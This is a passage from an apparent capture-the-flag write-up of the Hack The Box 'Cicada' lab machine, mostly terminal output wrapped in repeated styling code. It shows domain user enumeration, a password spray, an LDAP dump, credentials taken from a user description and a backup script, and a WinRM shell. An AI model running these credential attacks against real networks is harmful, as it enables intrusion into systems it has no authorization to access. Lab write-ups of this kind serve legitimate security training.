SMB         10.129.198.55   445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.129.198.55   445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.198.55   445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.198.55   445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.198.55   445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.129.198.55   445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I used <code class="language-plaintext highlighter-rouge">netexec</code> here, but it could also be done by <code class="language-plaintext highlighter-rouge">impacket-lookupsid</code>, as shown in my <a href="https://ch3ng625.github.io/flight">Flight writeup</a>.</p>

<p>With the user list, I did a password spray and found it works for <code class="language-plaintext highlighter-rouge">michael.wrightson</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 10.129.198.55 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success</span>
<span class="cmd-output">
SMB         10.129.198.55   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.198.55   445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.129.198.55   445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.129.198.55   445    CICADA-DC        <span style="color: lightgreen;">[+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 </span>
SMB         10.129.198.55   445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.129.198.55   445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, the user doesn’t have any extra access in SMB.</p>

<h3 id="tcp389---ldap">TCP389 - LDAP:</h3>

<p>The user can also connect to LDAP. I’ll use <code class="language-plaintext highlighter-rouge">ldapdomaindump</code> to dump out users, groups, and other OUs in the domain.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada/ldap</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ldapdomaindump 10.129.198.55 -u 'CICADA\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'</span>
<span class="cmd-output">
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada/ldap</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ls -la</span>
<span class="cmd-output">
total 228
drwxr-xr-x 2 chengw chengw  4096 Oct  2 19:41 .
drwxr-xr-x 6 chengw chengw  4096 Oct  2 01:58 ..
-rw-r--r-- 1 chengw chengw  1274 Oct  2 19:41 domain_computers_by_os.html
-rw-r--r-- 1 chengw chengw   371 Oct  2 19:41 domain_computers.grep
-rw-r--r-- 1 chengw chengw  1266 Oct  2 19:41 domain_computers.html
-rw-r--r-- 1 chengw chengw  9486 Oct  2 19:41 domain_computers.json
-rw-r--r-- 1 chengw chengw 10424 Oct  2 19:41 domain_groups.grep
-rw-r--r-- 1 chengw chengw 17626 Oct  2 19:41 domain_groups.html
-rw-r--r-- 1 chengw chengw 85912 Oct  2 19:41 domain_groups.json
-rw-r--r-- 1 chengw chengw   256 Oct  2 19:41 domain_policy.grep
-rw-r--r-- 1 chengw chengw  1152 Oct  2 19:41 domain_policy.html
-rw-r--r-- 1 chengw chengw  6026 Oct  2 19:41 domain_policy.json
-rw-r--r-- 1 chengw chengw    71 Oct  2 19:41 domain_trusts.grep
-rw-r--r-- 1 chengw chengw   828 Oct  2 19:41 domain_trusts.html
-rw-r--r-- 1 chengw chengw     2 Oct  2 19:41 domain_trusts.json
-rw-r--r-- 1 chengw chengw 14442 Oct  2 19:41 domain_users_by_group.html
-rw-r--r-- 1 chengw chengw  2171 Oct  2 19:41 domain_users.grep
-rw-r--r-- 1 chengw chengw  5992 Oct  2 19:41 domain_users.html
-rw-r--r-- 1 chengw chengw 20845 Oct  2 19:41 domain_users.json
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Looking at the users, a password is found in <code class="language-plaintext highlighter-rouge">david.orelious</code>’s description field.</p>

<p><img src="/assets/images/posts/cicada/1.png" alt="" /></p>

<p>This might seem far-fetched, but it does happen, especially in older systems. Sometimes sysadmins store sensitive info in description fields or other attributes, thinking they won’t be accessible to others.</p>

<h3 id="dev-share">Dev Share:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 10.129.198.55 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares</span>
<span class="cmd-output">
SMB         10.129.198.55   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.198.55   445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 
SMB         10.129.198.55   445    CICADA-DC        [+] Enumerated shares
SMB         10.129.198.55   445    CICADA-DC        Share           Permissions     Remark
SMB         10.129.198.55   445    CICADA-DC        -----           -----------     ------
SMB         10.129.198.55   445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.129.198.55   445    CICADA-DC        C$                              Default share
SMB         10.129.198.55   445    CICADA-DC        DEV             READ            
SMB         10.129.198.55   445    CICADA-DC        HR              READ            
SMB         10.129.198.55   445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.129.198.55   445    CICADA-DC        NETLOGON        READ            Logon server share 
SMB         10.129.198.55   445    CICADA-DC        SYSVOL          READ            Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient -U 'david.orelious%aRt$Lp#7t*VQ!3' \\\\cicada.htb\\DEV</span>
<span class="cmd-output">Try "help" to get a list of possible commands.</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">dir</span>

<span class="custom-output">&nbsp;
  .                                   D        0  Thu Mar 14 23:01:39 2024
  ..                                  D        0  Thu Mar 14 22:51:29 2024
  Backup_script.ps1                   A      601  Thu Aug 29 02:58:22 2024

		4168447 blocks of size 4096. 310032 blocks available</span></pre>
  </div>
</div>

<p>A single PowerShell script is in the share, and it contains credentials for <code class="language-plaintext highlighter-rouge">emily.oscars</code>.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$sourceDirectory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\smb"</span><span class="w">
</span><span class="nv">$destinationDirectory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"D:\Backup"</span><span class="w">

</span><span class="nv">$username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"emily.oscars"</span><span class="w">
</span><span class="nv">$password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s2">"Q!3@Lp#M6b*7t*Vt"</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="nv">$credentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Management.Automation.PSCredential</span><span class="p">(</span><span class="nv">$username</span><span class="p">,</span><span class="w"> </span><span class="nv">$password</span><span class="p">)</span><span class="w">
</span><span class="nv">$dateStamp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Date</span><span class="w"> </span><span class="nt">-Format</span><span class="w"> </span><span class="s2">"yyyyMMdd_HHmmss"</span><span class="w">
</span><span class="nv">$backupFileName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"smb_backup_</span><span class="nv">$dateStamp</span><span class="s2">.zip"</span><span class="w">
</span><span class="nv">$backupFilePath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Join-Path</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$destinationDirectory</span><span class="w"> </span><span class="nt">-ChildPath</span><span class="w"> </span><span class="nv">$backupFileName</span><span class="w">
</span><span class="n">Compress-Archive</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$sourceDirectory</span><span class="w"> </span><span class="nt">-DestinationPath</span><span class="w"> </span><span class="nv">$backupFilePath</span><span class="w">
</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"Backup completed successfully. Backup file saved to: </span><span class="nv">$backupFilePath</span><span class="s2">"</span><span class="w">
</span></code></pre></div></div>

<p>From the LDAP dump we can see Emily is in the Remote Management group, meaning I can get a shell via WinRM.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i cicada.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">cicada\emily.oscars</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
